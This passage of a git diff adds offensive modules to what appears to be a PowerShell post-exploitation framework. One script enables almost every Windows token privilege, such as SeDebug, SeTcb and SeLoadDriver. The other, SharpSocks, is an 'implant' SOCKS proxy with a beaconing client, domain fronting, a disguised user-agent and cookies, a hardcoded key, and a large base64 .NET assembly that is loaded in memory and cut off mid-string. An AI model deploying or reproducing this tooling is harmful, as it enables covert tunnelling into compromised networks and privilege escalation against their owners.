"SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", + + "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", + + "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", + + "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege", + + "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", + + "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", + + "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege", + + "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", + + "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" + + foreach ($i in $Privs){ + Set-LHSTokenPrivilege -Privilege $i + } \ No newline at end of file diff --git a/Modules/SharpSocks.ps1 b/Modules/SharpSocks.ps1 new file mode 100644 index 0000000..b1d5157 --- /dev/null +++ b/Modules/SharpSocks.ps1 @@ -0,0 +1,236 @@ +$Global:SocksClientLoaded = $False +$Global:SocksServerLoaded = $False +$Global:Socks = $null +$Global:BoolStart = $null +$iLogOutput = $null +$Comms = $null +function SharpSocks { +<# +.Synopsis + Socks Proxy written in C# for .NET v4 + + Tunnellable HTTP/HTTPS socks4a proxy written in C# and deployable via PowerShell + + SharpSocks 2017 Nettitude + Rob Maslen @rbmaslen + +.DESCRIPTION + PS C:\> Usage: SharpSocks -Uri +.EXAMPLE + Start the server listening on port 127.0.0.1:8081 for connections from the implant and port 1080 for SOCKS connections + PS C:\> SharpSocks -Server -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080 +.EXAMPLE + Start the server listening on port 127.0.0.1:8081 for connections from the implant and port 1080 for SOCKS connections. Use the provided certificates for the web server that listens for connections from the implant + PS C:\> SharpSocks -Server -TLSServerCertificate $ -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080 +.EXAMPLE + Start the server specfiying the Encryption key and Command Channel Id to be used (these SAME values MUST also be passed to the client) + PS C:\> SharpSocks -Server -IPAddress 127.0.0.1 -Uri https://127.0.0.1:8081 -SocksPort 1080 -Insecure -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 +.EXAMPLE + Start the Implant(Client) specifying the web server (http://127.0.0.1:8081), the encryption keys and channel id. Also specify a list of URLs to use when making HTTP Request. Set the beacon time to 5 seconds + PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "site/review/access.php","upload/data/images" -Beacon 5000 +.EXAMPLE + Same as above using different list of URLs + PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "Upload","Push","Res" -Beacon 5000 +.EXAMPLE + Sames as above but connect out via an authenticated proxy server + PS C:\> SharpSocks -Client -Uri http://127.0.0.1:8081 -ProxyUser bob -ProxyPass pass -ProxyDomain dom -ProxyUrl http://10.150.10.1:8080 -Key PTDWISSNRCThqmpWEzXFZ1nSusz10u0qZ0n0UjH66rs= -Channel 7f404221-9f30-470b-b05d-e1a922be3ff6 -URLs "Upload","Push","Res" -Beacon 500 +#> +param( +[Parameter(Mandatory=$True)][string]$Uri, +[Parameter(Mandatory=$False)]$URLs="Upload", +[Parameter(Mandatory=$False)][switch]$Server, +[Parameter(Mandatory=$False)][switch]$Client, +[Parameter(Mandatory=$False)][int]$SocksPort=43334, +[Parameter(Mandatory=$False)][string]$Channel, +[Parameter(Mandatory=$False)][string]$IPAddress="0.0.0.0", +[Parameter(Mandatory=$False)][string]$DomainFrontURL, +[Parameter(Mandatory=$False)][int]$Beacon="2000", +[Parameter(Mandatory=$False)][string]$Key, +[Parameter(Mandatory=$False)][switch]$Insecure, +[Parameter(Mandatory=$False)][string]$UserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36", +[Parameter(Mandatory=$False)][string]$Cookie1="ASP.NET_SessionId", +[Parameter(Mandatory=$False)][string]$Cookie2="__RequestVerificationToken", +[Parameter(Mandatory=$False, HelpMessage="Certificate to be used by the web server, must be of type System.Security.Cryptography.X509Certificates.X509Certificate2")][System.Security.Cryptography.X509Certificates.X509Certificate2]$TLSServerCertificate, +[Parameter(Mandatory=$False)][string]$ProxyURL, +[Parameter(Mandatory=$False)][string]$ProxyDomain, +[Parameter(Mandatory=$False)][string]$ProxyUser, +[Parameter(Mandatory=$False)][string]$ProxyPassword +) + +echo "[-] Loading Assemblies" +if ($psversiontable.CLRVersion.Major -lt 3) { + echo "Not running on CLRVersion 4 or above. Try 'migrate' to use unmanaged powershell" +} else { + if (($SocksClientLoaded -ne "TRUE") -and ($Client.IsPresent)) { + $Script:SocksClientLoaded = "TRUE" + echo "[-] Loading Client Assembly" + $PS = "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AHAUb60AAAYKBiwLBigCAAArOvYBAAACKAwAAAZyhwIAcAlvcQAABglvcQAABigeAAAKb5EAAAYXDDjOAQAACW92AAAGbzgAAAoTBwlvdgAABm85AAAKLQcXCzi+AQAABjmGAQAABigCAAArFj56AQAAEQcGbzoAAAoWBigCAAArbzsAAAoRB288AAAKAigOAAAGchQDAHAGKAIAACuMWAAAASgSAAAKb0IAAAYUCjg4AQAAEQdvPQAACjneAAAAAigOAAAGckQDAHAJb3YAAAZvPgAACm8/AAAKbycAAAoJb3YAAAZvQAAACoxYAAABKB4AAApvQgAABhYTCHNBAAAKEwkg//8AAI1bAAABEwoRBxEKFiD//wAAb0IAAAoTCBEJEQooAwAAKxEIKAQAACtvRQAACisyIP//AACNWwAAARMKEQcRChYg//8AAG9CAAAKEwgRCREKKAMAACsRCCgEAAArb0UAAAoRCBYxCREHbz0AAAotwBEJKAIAACsWMRQCKBIAAAYDcnUCAHARCW+tAAAGChYTBBYTBStOEQR+CwAABFgTBBEFFzErEQYRBFgTBhEGfgwAAARdLRoCKBIAAAYDcnUCAHAUb60AAAYKBi0EFwwrNQJ7CQAABBEEb0YAAAomEQUXWBMFBiwIBigCAAArLRYRBX4KAAAEfgsAAARb/gIlCzmn/v//CW93AAAGLQkHLQYIOSH+///dwAAAABMLAigMAAAGcnwDAHAJb3YAAAZvPgAACm8/AAAKbycAAAoRC28dAAAKKB4AAApvkQAABgksTglvdgAABixGCW92AAAGbzkAAAosDQlvdgAABm9HAAAKKywCKAwAAAZymgMAcAkU/gGMXQAAAQlvdgAABhT+AYxdAAABKB4AAApvkQAABt46CSwgCW92AAAGLBgJb3YAAAZvOQAACiwLCW92AAAGb0cAAAoILRMCKBIAAAYDcgwEAHAUb60AAAYm3CpBNAAAAAAAAAgAAABrAgAAcwIAAIYAAAATAAABAgAAAAgAAADxAgAA+QIAADoAAAAAAAAAygIoDgAABnIaBABwb0IAAAYCewQAAARvSAAACigFAAArAv4GHAAABnNJAAAKb0oAAAoqABMwBAA+AAAABwAAEQJ7BAAABANvNQAACgoCKA4AAAZyQgQAcAZvcQAABgZvcwAABoxfAAABKB4A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zgJzogAACiUWb6MAAAolKKQAAApvpQAACn1kAAAEAntkAAAEb6YAAApvpwAACiioAAAKKhMwAwBGAAAAGgAAEQMoqQAACigDAAArbzoAAAooqgAACiirAAAKCgJ7ZAAABAZvrAAACgsHFiitAAAKAntlAAAEB29FAAAKBxYHjmkorgAACioAABswBQDNAAAAGwAAEQJ7ZQAABCgCAAArLQtyGhAAcHMTAAAKehQKFAtzQQAACgxzrwAACg0JF2+wAAAKCRhvsQAACglvsgAACggJb7MAAApvRQAACgJ7ZQAABG86AAAKCwcWKLQAAAoJB2+1AAAKCW+2AAAKEwQIEQQDbzoAAAoWA2+LAAAKb7cAAApvRQAACghvOgAACiioAAAKCghvuAAACt4KCSwGCW8cAAAK3N4nEwVyihAAcBEFbx0AAAoomAAACnMTAAAKegcsCgcWB45pKK4AAArcBioAAAABKAAAAgAoAHCYAAoAAAAAAAAcAIikABkTAAABAgAcAKG9AA4AAAAAGzAEAKQAAAAcAAARAntlAAAEKAIAACstC3IaEABwcxMAAAp6c0EAAAomAyipAAAKJR8QKAQAACsKHxAoDAAAKygDAAArCxQMc68AAAoNCRdvsAAACgkYb7EAAAoCe2UAAARvOgAACgwIFii0AAAKCQhvtQAACgkGKA0AACtvuwAACglvvAAACgdvOgAAChYHKAIAACtvtwAACigDAAArEwTeCgksBglvHAAACtwRBCoBEAAAAgBCAFWXAAoAAAAASgJzQQAACn1lAAAEAigPAAAKKgATMAMANgAAAB0AABECc0EAAAp9ZgAABAIoDwAACgMoqQAACgoGFiitAAAKAntmAAAEBm9FAAAKBhYGjmkorgAACioAABswAwBRAAAAHgAAEQJzQQAACn1mAAAEAigPAAAKfr0AAAoKAyi+AAAKCgYovwAACiipAAAKCwcWKK0AAAoCe2YAAAQHb0UAAAoHFgeOaSiuAAAK3gcGKMAAAArcKgAAAAEQAAACABcAMkkABwAAAAAbMAQAiwAAAB8AABEDKKkAAAooAwAAKwpzwQAACgsHF2+wAAAKBxhvsQAACgcGHxAoBAAAKygNAAArb7sAAAoCe2YAAARvOgAACgwIFii0AAAKBwhvtQAACgdvvAAACgYfECgMAAArKA0AACsNCRYJjmlvtwAACigDAAArCBYIjmkorgAAChME3goHLAYHbxwAAArcEQQqAAEQAAACABIAbH4ACgAAAAAbMAYAiAAAACAAABFzwQAACgpzQQAACgYXb7AAAAoGGG+xAAAKBm+yAAAKAntmAAAEbzoAAAoLBx